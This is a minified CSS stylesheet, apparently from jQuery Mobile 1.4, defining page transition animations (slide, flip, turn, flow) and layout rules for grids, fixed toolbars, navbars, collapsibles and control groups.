@-webkit-keyframes slideinfromright { from { -webkit-transform: translate3d(100%,0,0); } to { -webkit-transform: translate3d(0,0,0); } } @-moz-keyframes slideinfromright { from { -moz-transform: translateX(100%); } to { -moz-transform: translateX(0); } } @keyframes slideinfromright { from { transform: translateX(100%); } to { transform: translateX(0); } } @-webkit-keyframes slideinfromleft { from { -webkit-transform: translate3d(-100%,0,0); } to { -webkit-transform: translate3d(0,0,0); } } @-moz-keyframes slideinfromleft { from { -moz-transform: translateX(-100%); } to { -moz-transform: translateX(0); } } @keyframes slideinfromleft { from { transform: translateX(-100%); } to { transform: translateX(0); } } /* keyframes for slideout to sides */ @-webkit-keyframes slideouttoleft { from { -webkit-transform: translate3d(0,0,0); } to { -webkit-transform: translate3d(-100%,0,0); } } @-moz-keyframes slideouttoleft { from { -moz-transform: translateX(0); } to { -moz-transform: translateX(-100%); } } @keyframes slideouttoleft { from { transform: translateX(0); } to { transform: translateX(-100%); } } @-webkit-keyframes slideouttoright { from { -webkit-transform: translate3d(0,0,0); } to { -webkit-transform: translate3d(100%,0,0); } } @-moz-keyframes slideouttoright { from { -moz-transform: translateX(0); } to { -moz-transform: translateX(100%); } } @keyframes slideouttoright { from { transform: translateX(0); } to { transform: translateX(100%); } } .slide.out, .slide.in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 350ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 350ms; animation-timing-function: ease-out; animation-duration: 350ms; } .slide.out { -webkit-transform: translate3d(-100%,0,0); -webkit-animation-name: slideouttoleft; -moz-transform: translateX(-100%); -moz-animation-name: slideouttoleft; transform: translateX(-100%); animation-name: slideouttoleft; } .slide.in { -webkit-transform: translate3d(0,0,0); -webkit-animation-name: slideinfromright; -moz-transform: translateX(0); -moz-animation-name: slideinfromright; transform: translateX(0); animation-name: slideinfromright; } .slide.out.reverse { -webkit-transform: translate3d(100%,0,0); -webkit-animation-name: slideouttoright; -moz-transform: translateX(100%); -moz-animation-name: slideouttoright; transform: translateX(100%); animation-name: slideouttoright; } .slide.in.reverse { -webkit-transform: translate3d(0,0,0); -webkit-animation-name: slideinfromleft; -moz-transform: translateX(0); -moz-animation-name: slideinfromleft; transform: translateX(0); animation-name: slideinfromleft; } .slidefade.out { -webkit-transform: translateX(-100%); -webkit-animation-name: slideouttoleft; -webkit-animation-duration: 225ms; -moz-transform: translateX(-100%); -moz-animation-name: slideouttoleft; -moz-animation-duration: 225ms; transform: translateX(-100%); animation-name: slideouttoleft; animation-duration: 225ms; } .slidefade.in { -webkit-transform: translateX(0); -webkit-animation-name: fadein; -webkit-animation-duration: 200ms; -moz-transform: translateX(0); -moz-animation-name: fadein; -moz-animation-duration: 200ms; transform: translateX(0); animation-name: fadein; animation-duration: 200ms; } .slidefade.out.reverse { -webkit-transform: translateX(100%); -webkit-animation-name: slideouttoright; -webkit-animation-duration: 200ms; -moz-transform: translateX(100%); -moz-animation-name: slideouttoright; -moz-animation-duration: 200ms; transform: translateX(100%); animation-name: slideouttoright; animation-duration: 200ms; } .slidefade.in.reverse { -webkit-transform: translateX(0); -webkit-animation-name: fadein; -webkit-animation-duration: 200ms; -moz-transform: translateX(0); -moz-animation-name: fadein; -moz-animation-duration: 200ms; transform: translateX(0); animation-name: fadein; animation-duration: 200ms; } /* slide down */ .slidedown.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; } .slidedown.in { -webkit-transform: translateY(0); -webkit-animation-name: slideinfromtop; -webkit-animation-duration: 250ms; -moz-transform: translateY(0); -moz-animation-name: slideinfromtop; -moz-animation-duration: 250ms; transform: translateY(0); animation-name: slideinfromtop; animation-duration: 250ms; } .slidedown.in.reverse { -webkit-animation-name: fadein; -webkit-animation-duration: 150ms; -moz-animation-name: fadein; -moz-animation-duration: 150ms; animation-name: fadein; animation-duration: 150ms; } .slidedown.out.reverse { -webkit-transform: translateY(-100%); -webkit-animation-name: slideouttotop; -webkit-animation-duration: 200ms; -moz-transform: translateY(-100%); -moz-animation-name: slideouttotop; -moz-animation-duration: 200ms; transform: translateY(-100%); animation-name: slideouttotop; animation-duration: 200ms; } @-webkit-keyframes slideinfromtop { from { -webkit-transform: translateY(-100%); } to { -webkit-transform: translateY(0); } } @-moz-keyframes slideinfromtop { from { -moz-transform: translateY(-100%); } to { -moz-transform: translateY(0); } } @keyframes slideinfromtop { from { transform: translateY(-100%); } to { transform: translateY(0); } } @-webkit-keyframes slideouttotop { from { -webkit-transform: translateY(0); } to { -webkit-transform: translateY(-100%); } } @-moz-keyframes slideouttotop { from { -moz-transform: translateY(0); } to { -moz-transform: translateY(-100%); } } @keyframes slideouttotop { from { transform: translateY(0); } to { transform: translateY(-100%); } } /* slide up */ .slideup.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; } .slideup.in { -webkit-transform: translateY(0); -webkit-animation-name: slideinfrombottom; -webkit-animation-duration: 250ms; -moz-transform: translateY(0); -moz-animation-name: slideinfrombottom; -moz-animation-duration: 250ms; transform: translateY(0); animation-name: slideinfrombottom; animation-duration: 250ms; } .slideup.in.reverse { -webkit-animation-name: fadein; -webkit-animation-duration: 150ms; -moz-animation-name: fadein; -moz-animation-duration: 150ms; animation-name: fadein; animation-duration: 150ms; } .slideup.out.reverse { -webkit-transform: translateY(100%); -webkit-animation-name: slideouttobottom; -webkit-animation-duration: 200ms; -moz-transform: translateY(100%); -moz-animation-name: slideouttobottom; -moz-animation-duration: 200ms; transform: translateY(100%); animation-name: slideouttobottom; animation-duration: 200ms; } @-webkit-keyframes slideinfrombottom { from { -webkit-transform: translateY(100%); } to { -webkit-transform: translateY(0); } } @-moz-keyframes slideinfrombottom { from { -moz-transform: translateY(100%); } to { -moz-transform: translateY(0); } } @keyframes slideinfrombottom { from { transform: translateY(100%); } to { transform: translateY(0); } } @-webkit-keyframes slideouttobottom { from { -webkit-transform: translateY(0); } to { -webkit-transform: translateY(100%); } } @-moz-keyframes slideouttobottom { from { -moz-transform: translateY(0); } to { -moz-transform: translateY(100%); } } @keyframes slideouttobottom { from { transform: translateY(0); } to { transform: translateY(100%); } } /* The properties in this rule are only necessary for the 'flip' transition. * We need specify the perspective to create a projection matrix. This will add * some depth as the element flips. The depth number represents the distance of * the viewer from the z-plane. According to the CSS3 spec, 1000 is a moderate * value. */ .viewport-flip { -webkit-perspective: 1000; -moz-perspective: 1000; perspective: 1000; position: absolute; } .flip { -webkit-backface-visibility: hidden; -webkit-transform: translateX(0); /* Needed to work around an iOS 3.1 bug that causes listview thumbs to disappear when -webkit-visibility:hidden is used. */ -moz-backface-visibility: hidden; -moz-transform: translateX(0); backface-visibility: hidden; transform: translateX(0); } .flip.out { -webkit-transform: rotateY(-90deg) scale(.9); -webkit-animation-name: flipouttoleft; -webkit-animation-duration: 175ms; -moz-transform: rotateY(-90deg) scale(.9); -moz-animation-name: flipouttoleft; -moz-animation-duration: 175ms; transform: rotateY(-90deg) scale(.9); animation-name: flipouttoleft; animation-duration: 175ms; } .flip.in { -webkit-animation-name: flipintoright; -webkit-animation-duration: 225ms; -moz-animation-name: flipintoright; -moz-animation-duration: 225ms; animation-name: flipintoright; animation-duration: 225ms; } .flip.out.reverse { -webkit-transform: rotateY(90deg) scale(.9); -webkit-animation-name: flipouttoright; -moz-transform: rotateY(90deg) scale(.9); -moz-animation-name: flipouttoright; transform: rotateY(90deg) scale(.9); animation-name: flipouttoright; } .flip.in.reverse { -webkit-animation-name: flipintoleft; -moz-animation-name: flipintoleft; animation-name: flipintoleft; } @-webkit-keyframes flipouttoleft { from { -webkit-transform: rotateY(0); } to { -webkit-transform: rotateY(-90deg) scale(.9); } } @-moz-keyframes flipouttoleft { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(-90deg) scale(.9); } } @keyframes flipouttoleft { from { transform: rotateY(0); } to { transform: rotateY(-90deg) scale(.9); } } @-webkit-keyframes flipouttoright { from { -webkit-transform: rotateY(0) ; } to { -webkit-transform: rotateY(90deg) scale(.9); } } @-moz-keyframes flipouttoright { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(90deg) scale(.9); } } @keyframes flipouttoright { from { transform: rotateY(0); } to { transform: rotateY(90deg) scale(.9); } } @-webkit-keyframes flipintoleft { from { -webkit-transform: rotateY(-90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoleft { from { -moz-transform: rotateY(-90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoleft { from { transform: rotateY(-90deg) scale(.9); } to { transform: rotateY(0); } } @-webkit-keyframes flipintoright { from { -webkit-transform: rotateY(90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoright { from { -moz-transform: rotateY(90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoright { from { transform: rotateY(90deg) scale(.9); } to { transform: rotateY(0); } } /* The properties in this rule are only necessary for the 'flip' transition. * We need specify the perspective to create a projection matrix. This will add * some depth as the element flips. The depth number represents the distance of * the viewer from the z-plane. According to the CSS3 spec, 1000 is a moderate * value. */ .viewport-turn { -webkit-perspective: 200px; -moz-perspective: 200px; -ms-perspective: 200px; perspective: 200px; position: absolute; } .turn { -webkit-backface-visibility: hidden; -webkit-transform: translateX(0); /* Needed to work around an iOS 3.1 bug that causes listview thumbs to disappear when -webkit-visibility:hidden is used. */ -webkit-transform-origin: 0; -moz-backface-visibility: hidden; -moz-transform: translateX(0); -moz-transform-origin: 0; backface-visibility :hidden; transform: translateX(0); transform-origin: 0; } .turn.out { -webkit-transform: rotateY(-90deg) scale(.9); -webkit-animation-name: flipouttoleft; -webkit-animation-duration: 125ms; -moz-transform: rotateY(-90deg) scale(.9); -moz-animation-name: flipouttoleft; -moz-animation-duration: 125ms; transform: rotateY(-90deg) scale(.9); animation-name: flipouttoleft; animation-duration: 125ms; } .turn.in { -webkit-animation-name: flipintoright; -webkit-animation-duration: 250ms; -moz-animation-name: flipintoright; -moz-animation-duration: 250ms; animation-name: flipintoright; animation-duration: 250ms; } .turn.out.reverse { -webkit-transform: rotateY(90deg) scale(.9); -webkit-animation-name: flipouttoright; -moz-transform: rotateY(90deg) scale(.9); -moz-animation-name: flipouttoright; transform: rotateY(90deg) scale(.9); animation-name: flipouttoright; } .turn.in.reverse { -webkit-animation-name: flipintoleft; -moz-animation-name: flipintoleft; animation-name: flipintoleft; } @-webkit-keyframes flipouttoleft { from { -webkit-transform: rotateY(0); } to { -webkit-transform: rotateY(-90deg) scale(.9); } } @-moz-keyframes flipouttoleft { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(-90deg) scale(.9); } } @keyframes flipouttoleft { from { transform: rotateY(0); } to { transform: rotateY(-90deg) scale(.9); } } @-webkit-keyframes flipouttoright { from { -webkit-transform: rotateY(0) ; } to { -webkit-transform: rotateY(90deg) scale(.9); } } @-moz-keyframes flipouttoright { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(90deg) scale(.9); } } @keyframes flipouttoright { from { transform: rotateY(0); } to { transform: rotateY(90deg) scale(.9); } } @-webkit-keyframes flipintoleft { from { -webkit-transform: rotateY(-90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoleft { from { -moz-transform: rotateY(-90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoleft { from { transform: rotateY(-90deg) scale(.9); } to { transform: rotateY(0); } } @-webkit-keyframes flipintoright { from { -webkit-transform: rotateY(90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoright { from { -moz-transform: rotateY(90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoright { from { transform: rotateY(90deg) scale(.9); } to { transform: rotateY(0); } } /* flow transition */ .flow { -webkit-transform-origin: 50% 30%; -webkit-box-shadow: 0 0 20px rgba(0,0,0,.4); -moz-transform-origin: 50% 30%; -moz-box-shadow: 0 0 20px rgba(0,0,0,.4); transform-origin: 50% 30%; box-shadow: 0 0 20px rgba(0,0,0,.4); } .ui-dialog.flow { -webkit-transform-origin: none; -webkit-box-shadow: none; -moz-transform-origin: none; -moz-box-shadow: none; transform-origin: none; box-shadow: none; } .flow.out { -webkit-transform: translateX(-100%) scale(.7); -webkit-animation-name: flowouttoleft; -webkit-animation-timing-function: ease; -webkit-animation-duration: 350ms; -moz-transform: translateX(-100%) scale(.7); -moz-animation-name: flowouttoleft; -moz-animation-timing-function: ease; -moz-animation-duration: 350ms; transform: translateX(-100%) scale(.7); animation-name: flowouttoleft; animation-timing-function: ease; animation-duration: 350ms; } .flow.in { -webkit-transform: translateX(0) scale(1); -webkit-animation-name: flowinfromright; -webkit-animation-timing-function: ease; -webkit-animation-duration: 350ms; -moz-transform: translateX(0) scale(1); -moz-animation-name: flowinfromright; -moz-animation-timing-function: ease; -moz-animation-duration: 350ms; transform: translateX(0) scale(1); animation-name: flowinfromright; animation-timing-function: ease; animation-duration: 350ms; } .flow.out.reverse { -webkit-transform: translateX(100%); -webkit-animation-name: flowouttoright; -moz-transform: translateX(100%); -moz-animation-name: flowouttoright; transform: translateX(100%); animation-name: flowouttoright; } .flow.in.reverse { -webkit-animation-name: flowinfromleft; -moz-animation-name: flowinfromleft; animation-name: flowinfromleft; } @-webkit-keyframes flowouttoleft { 0% { -webkit-transform: translateX(0) scale(1); } 60%, 70% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(-100%) scale(.7); } } @-moz-keyframes flowouttoleft { 0% { -moz-transform: translateX(0) scale(1); } 60%, 70% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(-100%) scale(.7); } } @keyframes flowouttoleft { 0% { transform: translateX(0) scale(1); } 60%, 70% { transform: translateX(0) scale(.7); } 100% { transform: translateX(-100%) scale(.7); } } @-webkit-keyframes flowouttoright { 0% { -webkit-transform: translateX(0) scale(1); } 60%, 70% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(100%) scale(.7); } } @-moz-keyframes flowouttoright { 0% { -moz-transform: translateX(0) scale(1); } 60%, 70% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(100%) scale(.7); } } @keyframes flowouttoright { 0% { transform: translateX(0) scale(1); } 60%, 70% { transform: translateX(0) scale(.7); } 100% { transform: translateX(100%) scale(.7); } } @-webkit-keyframes flowinfromleft { 0% { -webkit-transform: translateX(-100%) scale(.7); } 30%, 40% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(0) scale(1); } } @-moz-keyframes flowinfromleft { 0% { -moz-transform: translateX(-100%) scale(.7); } 30%, 40% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(0) scale(1); } } @keyframes flowinfromleft { 0% { transform: translateX(-100%) scale(.7); } 30%, 40% { transform: translateX(0) scale(.7); } 100% { transform: translateX(0) scale(1); } } @-webkit-keyframes flowinfromright { 0% { -webkit-transform: translateX(100%) scale(.7); } 30%, 40% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(0) scale(1); } } @-moz-keyframes flowinfromright { 0% { -moz-transform: translateX(100%) scale(.7); } 30%, 40% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(0) scale(1); } } @keyframes flowinfromright { 0% { transform: translateX(100%) scale(.7); } 30%, 40% { transform: translateX(0) scale(.7); } 100% { transform: translateX(0) scale(1); } } .ui-field-contain, .ui-mobile fieldset.ui-field-contain { display: block; position: relative; overflow: visible; clear: both; padding: .8em 0; } .ui-field-contain > label ~ [class*="ui-"], .ui-field-contain .ui-controlgroup-controls { margin: 0; } .ui-field-contain:last-child { border-bottom-width: 0; } @media (min-width: 28em) { .ui-field-contain, .ui-mobile fieldset.ui-field-contain { padding: 0; margin: 1em 0; border-bottom-width: 0; } .ui-field-contain:before, .ui-field-contain:after { content: ""; display: table; } .ui-field-contain:after { clear: both; } .ui-field-contain > label, .ui-field-contain .ui-controlgroup-label, .ui-field-contain > .ui-rangeslider > label { float: left; width: 20%; margin: .5em 2% 0 0; } .ui-popup .ui-field-contain > label, .ui-popup .ui-field-contain .ui-controlgroup-label, .ui-popup .ui-field-contain > .ui-rangeslider > label { float: none; width: auto; margin: 0 0 .4em; } .ui-field-contain > label ~ [class*="ui-"], .ui-field-contain .ui-controlgroup-controls { float: left; width: 78%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-hide-label > label ~ [class*="ui-"], .ui-hide-label .ui-controlgroup-controls, .ui-popup .ui-field-contain > label ~ [class*="ui-"], .ui-popup .ui-field-contain .ui-controlgroup-controls { float: none; width: 100%; } .ui-field-contain > label ~ .ui-btn-inline { width: auto; margin-right: .625em; } .ui-field-contain > label ~ .ui-btn-inline.ui-btn-icon-notext { width: 1.75em; } } /* content configurations. */ .ui-grid-a, .ui-grid-b, .ui-grid-c, .ui-grid-d, .ui-grid-solo { overflow: hidden; } .ui-block-a, .ui-block-b, .ui-block-c, .ui-block-d, .ui-block-e { margin: 0; padding: 0; border: 0; float: left; min-height: 1px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* force new row */ .ui-block-a { clear: left; } ul.ui-grid-a, ul.ui-grid-b, ul.ui-grid-c, ul.ui-grid-d, ul.ui-grid-solo, li.ui-block-a, li.ui-block-b, li.ui-block-c, li.ui-block-d, li.ui-block-e { margin-left: 0; margin-right: 0; padding: 0; list-style: none; } /* No margin in grids for 100% width button elements until we can use max-width: fill-available; */ [class*="ui-block-"] > button.ui-btn { margin-right: 0; margin-left: 0; } [class*="ui-block-"] > .ui-btn, [class*="ui-block-"] > .ui-select, [class*="ui-block-"] > .ui-checkbox, [class*="ui-block-"] > .ui-radio, [class*="ui-block-"] > button.ui-btn-inline, [class*="ui-block-"] > button.ui-btn-icon-notext, .ui-header [class*="ui-block-"] > button.ui-btn, .ui-footer [class*="ui-block-"] > button.ui-btn { margin-right: .3125em; margin-left: .3125em; } .ui-grid-a > .ui-block-a, .ui-grid-a > .ui-block-b { /* width: 49.95%; IE7 */ /* margin-right: -.5px; BB5 */ width: 50%; } .ui-grid-b > .ui-block-a, .ui-grid-b > .ui-block-b, .ui-grid-b > .ui-block-c { /* width: 33.25%; IE7 */ /* margin-right: -.5px; BB5 */ width: 33.333%; } .ui-grid-c > .ui-block-a, .ui-grid-c > .ui-block-b, .ui-grid-c > .ui-block-c, .ui-grid-c > .ui-block-d { /* width: 24.925%; IE7 */ /* margin-right: -.5px; BB5 */ width: 25%; } .ui-grid-d > .ui-block-a, .ui-grid-d > .ui-block-b, .ui-grid-d > .ui-block-c, .ui-grid-d > .ui-block-d, .ui-grid-d > .ui-block-e { /* width: 19.925%; IE7 */ width: 20%; } .ui-grid-solo > .ui-block-a { width: 100%; float: none; } /* preset breakpoint to switch to stacked grid styles below 35em (560px) */ @media (max-width: 35em) { .ui-responsive > .ui-block-a, .ui-responsive > .ui-block-b, .ui-responsive > .ui-block-c, .ui-responsive > .ui-block-d, .ui-responsive > .ui-block-e { width: 100%; float: none; } } /* fixed page header & footer configuration */ .ui-header-fixed, .ui-footer-fixed { left: 0; right: 0; width: 100%; position: fixed; z-index: 1000; } .ui-header-fixed { top: -1px; padding-top: 1px; } .ui-header-fixed.ui-fixed-hidden { top: 0; padding-top: 0; } .ui-header-fixed .ui-btn-left, .ui-header-fixed .ui-btn-right { margin-top: 1px; } .ui-header-fixed.ui-fixed-hidden .ui-btn-left, .ui-header-fixed.ui-fixed-hidden .ui-btn-right { margin-top: 0; } .ui-footer-fixed { bottom: -1px; padding-bottom: 1px; } .ui-footer-fixed.ui-fixed-hidden { bottom: 0; padding-bottom: 0; } .ui-header-fullscreen, .ui-footer-fullscreen { filter: Alpha(Opacity=90); opacity: .9; } /* updatePagePadding() will update the padding to actual height of header and footer. */ .ui-page-header-fixed { padding-top: 2.8125em; } .ui-page-footer-fixed { padding-bottom: 2.8125em; } .ui-page-header-fullscreen > .ui-content, .ui-page-footer-fullscreen > .ui-content { padding: 0; } .ui-fixed-hidden { position: absolute; } /* Tap toggle: hide external fixed footer. See issue #6604 */ .ui-footer-fixed.ui-fixed-hidden { display: none; } .ui-page .ui-footer-fixed.ui-fixed-hidden { display: block } .ui-page-header-fullscreen .ui-fixed-hidden, .ui-page-footer-fullscreen .ui-fixed-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-header-fixed .ui-btn, .ui-footer-fixed .ui-btn { z-index: 10; } /* workarounds for other widgets */ .ui-android-2x-fixed .ui-li-has-thumb { -webkit-transform: translate3d(0,0,0); } .ui-navbar { max-width: 100%; } .ui-navbar ul:before, .ui-navbar ul:after { content: ""; display: table; } .ui-navbar ul:after { clear: both; } .ui-navbar ul { list-style: none; margin: 0; padding: 0; position: relative; display: block; border: 0; max-width: 100%; overflow: visible; } .ui-navbar li .ui-btn { font-size: 12.5px; display: block; margin: 0; border-right-width: 0; } .ui-header .ui-navbar li button.ui-btn, .ui-footer .ui-navbar li button.ui-btn { margin: 0; width: 100%; } .ui-navbar .ui-btn:focus { z-index: 1; } /* fixes gaps caused by subpixel problem */ .ui-navbar li:last-child .ui-btn { margin-right: -4px; } .ui-navbar li:last-child .ui-btn:after { margin-right: 4px; } .ui-content .ui-navbar li:last-child .ui-btn, .ui-content .ui-navbar .ui-grid-duo .ui-block-b .ui-btn { border-right-width: 1px; margin-right: 0; } .ui-content .ui-navbar li:last-child .ui-btn:after, .ui-content .ui-navbar .ui-grid-duo .ui-block-b .ui-btn:after { margin-right: 0; } .ui-navbar .ui-grid-duo .ui-block-a:last-child .ui-btn { border-right-width: 1px; margin-right: -1px; } .ui-navbar .ui-grid-duo .ui-block-a:last-child .ui-btn:after { margin-right: 1px; } .ui-navbar .ui-grid-duo .ui-btn { border-top-width: 0; } .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 1px; } .ui-header .ui-navbar .ui-btn, .ui-footer .ui-navbar .ui-btn { border-top-width: 0; border-bottom-width: 0; } .ui-header .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-header .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 0; } .ui-header .ui-title ~ .ui-navbar .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-btn, .ui-header .ui-navbar .ui-grid-duo .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-btn, .ui-header .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-header .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 1px; } /* Hide the native input element */ .ui-input-btn input { position: absolute; top: 0; left: 0; width: 100%; height: 100%; padding: 0; border: 0; outline: 0; -webkit-border-radius: inherit; border-radius: inherit; -webkit-appearance: none; -moz-appearance: none; cursor: pointer; background: #fff; background: rgba(255,255,255,0); filter: Alpha(Opacity=0); opacity: .1; font-size: 1px; text-indent: -9999px; z-index: 2; } /* Fixes IE/WP filter alpha opacity bugs */ .ui-input-btn.ui-state-disabled input { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-collapsible { margin: 0 -1em; } .ui-collapsible-inset, .ui-collapsible-set { margin: .5em 0; } .ui-collapsible-heading { display: block; margin: 0; padding: 0; position: relative; } .ui-collapsible-heading .ui-btn { text-align: left; margin: 0; border-left-width: 0; border-right-width: 0; } .ui-collapsible-heading .ui-btn-icon-top, .ui-collapsible-heading .ui-btn-icon-bottom { text-align: center; } .ui-collapsible-inset .ui-collapsible-heading .ui-btn { border-right-width: 1px; border-left-width: 1px; } .ui-collapsible-collapsed + .ui-collapsible:not(.ui-collapsible-inset) > .ui-collapsible-heading .ui-btn { border-top-width: 0; } .ui-collapsible-set .ui-collapsible:not(.ui-collapsible-inset) .ui-collapsible-heading .ui-btn { border-top-width: 1px; } .ui-collapsible-heading-status { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-collapsible-content { display: block; margin: 0; padding: .5em 1em; } .ui-collapsible-themed-content .ui-collapsible-content { border-left-width: 0; border-right-width: 0; border-top-width: 0; border-bottom-width: 1px; border-style: solid; } .ui-collapsible-inset.ui-collapsible-themed-content .ui-collapsible-content { border-left-width: 1px; border-right-width: 1px; } .ui-collapsible-inset .ui-collapsible-content { margin: 0; } .ui-collapsible-content-collapsed { display: none; } .ui-collapsible-set > .ui-collapsible.ui-corner-all { -webkit-border-radius: 0; border-radius: 0; } .ui-collapsible-heading, .ui-collapsible-heading > .ui-btn { -webkit-border-radius: inherit; border-radius: inherit; } .ui-collapsible-set .ui-collapsible.ui-first-child { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-collapsible-content, .ui-collapsible-set .ui-collapsible.ui-last-child { -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-collapsible-themed-content:not(.ui-collapsible-collapsed) > .ui-collapsible-heading { -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; } .ui-collapsible-set .ui-collapsible { margin: -1px -1em 0; } .ui-collapsible-set .ui-collapsible-inset { margin: -1px 0 0; } .ui-collapsible-set .ui-collapsible.ui-first-child { margin-top: 0; } .ui-controlgroup, fieldset.ui-controlgroup { padding: 0; margin: .5em 0; } .ui-field-contain .ui-controlgroup, .ui-field-contain fieldset.ui-controlgroup { margin: 0; } .ui-mini .ui-controlgroup-label { font-size: 16px; } .ui-controlgroup.ui-mini .ui-btn-icon-notext, .ui-controlgroup .ui-mini.ui-btn-icon-notext { font-size: inherit; } .ui-controlgroup-controls .ui-btn, .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-controls .ui-radio, .ui-controlgroup-controls .ui-select { margin: 0; } .ui-controlgroup-controls .ui-btn:focus, .ui-controlgroup-controls .ui-btn.ui-focus { z-index: 1; } .ui-controlgroup-controls li { list-style: none; } .ui-controlgroup-horizontal .ui-controlgroup-controls { display: inline-block; vertical-align: middle; } .ui-controlgroup-horizontal .ui-controlgroup-controls:before, .ui-controlgroup-horizontal .ui-controlgroup-controls:after { content: ""; display: table; } .ui-controlgroup-horizontal .ui-controlgroup-controls:after { clear: both; } .ui-controlgroup-horizontal .ui-controlgroup-controls > .ui-btn, .ui-controlgroup-horizontal .ui-controlgroup-controls li > .ui-btn, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-radio, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-select { float: left; clear: none; } .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn, .ui-controlgroup-controls .ui-btn-icon-notext { width: auto; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn-icon-notext, .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn-icon-notext { width: 1.5em; } .ui-controlgroup-controls .ui-btn-icon-notext { height: auto; padding: .7em 1em; } .ui-controlgroup-vertical .ui-controlgroup-controls .ui-btn { border-bottom-width: 0; } .ui-controlgroup-vertical .ui-controlgroup-controls .ui-btn.ui-last-child { border-bottom-width: 1px; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn { border-right-width: 0; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn.ui-last-child { border-right-width: 1px; } .ui-controlgroup-controls .ui-btn-corner-all, .ui-controlgroup-controls .ui-btn.ui-corner-all { -webkit-border-radius: 0; border-radius: 0; } .ui-controlgroup-controls, .ui-controlgroup-controls .ui-radio, .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-controls .ui-select, .ui-controlgroup-controls li { -webkit-border-radius: inherit; border-radius: inherit; } .ui-controlgroup-vertical .ui-btn.ui-first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-controlgroup-vertical .ui-btn.ui-last-child { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-controlgroup-horizontal .ui-btn.ui-first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-controlgroup-horizontal .ui-btn.ui-last-child { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-controlgroup-controls a.ui-shadow:not(:focus), .ui-controlgroup-controls button.ui-shadow:not(:focus), .ui-controlgroup-controls div.ui-shadow:not(.ui-focus) { -moz-box-shadow: none; -webkit-box-shadow: none; box-shadow: none; } /* Fixes legend not wrapping on IE10 */ .ui-controlgroup-label legend { max-width: 100%; } 